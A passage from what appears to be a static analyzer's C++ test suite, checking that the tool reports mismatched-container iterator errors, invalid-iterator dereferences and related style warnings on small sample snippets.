ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == 